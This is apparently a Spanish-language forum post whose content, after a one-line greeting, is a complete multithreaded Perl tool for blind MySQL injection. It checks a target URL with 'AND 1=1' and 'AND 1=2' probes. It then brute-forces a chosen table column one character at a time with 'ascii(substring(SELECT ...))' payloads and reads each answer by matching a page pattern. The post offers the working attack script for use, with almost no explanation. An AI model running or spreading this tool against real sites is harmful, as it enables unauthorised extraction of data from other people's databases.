Hacia algun tiempo que no me pasaba por el foro, espero que les vaya todo bien.
#!/usr/bin/perl -W
# Blind MySQL Injection Paper
# example brute force
# -- OPTIONS --
my $MAX_FIELD_LENGTH = 200 ;
my $EXIT_IF_NO_CHAR = 1 ;
my $DEFAULT_THREADS = 15 ;
my $DEFAULT_THREADS_TIMEOUT = 30 ;
my @ascii = ( 33 .. 123 ) ;
my $DEFAULT_THREADS_TIME = 1 ;
# ---
use LWP::UserAgent ;
sub _HELP_AND_EXIT
{
die "
./$0 -u <url> -tn <table> -cn <column> -p <pattern>
Options:
-u <url> Ex: http://www.google.es/vuln.php?id=1
-tn <table_name> Table name.
-cn <column_name> Column name.
-p <pattern> HTML pattern.
Other:
-t <#> Threads, default '$DEFAULT_THREADS'.
-l <#> Maximum table name length '$MAX_FIELD_LENGTH'.
-T <#> Timeout.
-h Help (also with --help).
" ;
}
my ($p, $w) = ({ @ARGV }, { }) ;
map {
&_HELP_AND_EXIT if $_ eq '--help' or $_ eq '-h' ;
} keys %$p ;
map {
die "[!] Require: $_\n" unless $p->{ $_ } ;
} qw/-u -tn -cn -p/ ;
$p->{'-t'} = ( $p->{'-t'} and $p->{'-t'} =~ /^\d+$/ ) ? $p->{'-t'} : ( $w->{'-t'} = $DEFAULT_THREADS ) ;
$p->{'-l'} = ( $p->{'-l'} and $p->{'-l'} =~ /^\d+$/ ) ? $p->{'-l'} : ( $w->{'-l'} = $MAX_FIELD_LENGTH ) ;
$p->{'-T'} = ( $p->{'-T'} and $p->{'-T'} =~ /^\d+$/ ) ? $p->{'-T'} : ( $w->{'-T'} = $DEFAULT_THREADS_TIMEOUT ) ;
map {
warn "[i] Getting default: $_ $w->{ $_ }\n" ;
} sort keys %$w ;
( &_IS_VULN( $p ) ) ? &_START_WORK( $p ) : die "[i] Bad pattern ? Isn't vulnerable ?\n" ;
sub _START_WORK
{
my $p = shift ;
($p->{'id_value'})
= ( $p->{'-u'} =~ /(\d+)$/ ) ;
# Get the id value
my $position = 1 ;
pipe(R, W) ;
pipe(Rs, Ws) ;
autoflush STDOUT 1 ;
my $sql_message = '' ;
my $msg = '' ;
my @pid ;
while( $position <= $p->{'-l'} )
{
my $cf ;
unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit(0) ; }
push( @pid, $cf) ;
my $count = 0 ;
my $can_exit ;
my $char_printed ;
while(<R>)
{
chomp ;
push( @pid, (split(/:/))[1] ) if /^pid/ ;
my ($res, $pos, $ascii) = ( split(/ /, $_) ) ;
$count++ if $pos == $position ;
print "\b" x length($msg), ($msg = "$position $ascii " . chr($ascii) ) ;
if( $res eq 'yes' and $pos == $position ){
$char_printed = $can_exit = 1 ;
print Ws "STOP $position\n" ;
$sql_message .= chr( $ascii ) ;
}
last if ( $can_exit or $count == @ascii );
}
map { waitpid($_, 0) } @pid ;
unless( $char_printed )
{
if( $EXIT_IF_NO_CHAR )
{
warn "\n[!] \$EXIT_IF_NO_CHAR : I can't find a valid character, position $position.\n" ;
last ;
}
}
$position++ ;
}
print "[i] SQL_FIELD:\n$sql_message\n" ;
}
sub _CHECKING
{
my ($p, $position) = @_ ;
my $counter = 0 ;
my $stop_position ;
foreach my $ascii ( @ascii )
{
$counter++ ;
if( $counter % $p->{'-t'} == 0 )
{
my $stop_position ;
eval
{
$SIG{'ALRM'} = sub { die "non_stop\n" } ;
alarm $DEFAULT_THREADS_TIME ;
my $line = <Rs> ;
$stop_position = (split( / /, $line))[1] ;
alarm 0 ;
} ;
if( ($stop_position) and $stop_position == $position ){ print "\nnext position\n" ; exit(0) ; }
}
unless(my $pid = fork )
{
print Ws "pid:$pid\n" or die ;
my $url = $p->{'-u'} .
' AND ascii(substring((SELECT ' . $p->{'-cn'} .
' FROM ' . $p->{'-tn'} . ' where id=' .
$p->{'id_value'} . '),' . $position . ',1))='. $ascii ;
my $ua = LWP::UserAgent->new ;
$ua->timeout( $p->{'-T'} ) ;
my $content ;
while( 1 )
{
last if $content = $ua->get( $url )->content ;
}
( $content =~ /$p->{'-p'}/ ) ? print W "yes $position $ascii\n" : print W "no $position $ascii\n" ;
exit( 0 ) ;
}
}
}
sub _IS_VULN
{
my $p = shift ;
my $ua = LWP::UserAgent->new ;
$ua->timeout( $p->{'-T'} ) ;
my ( $one, $two ) = (
$ua->get( $p->{'-u'}." AND 1=1")->content ,
$ua->get( $p->{'-u'}." AND 1=2")->content ,
) ;
return ($one =~ /$p->{'-p'}/ and $two !~ /$p->{'-p'}/) ? 1 : undef ;
}
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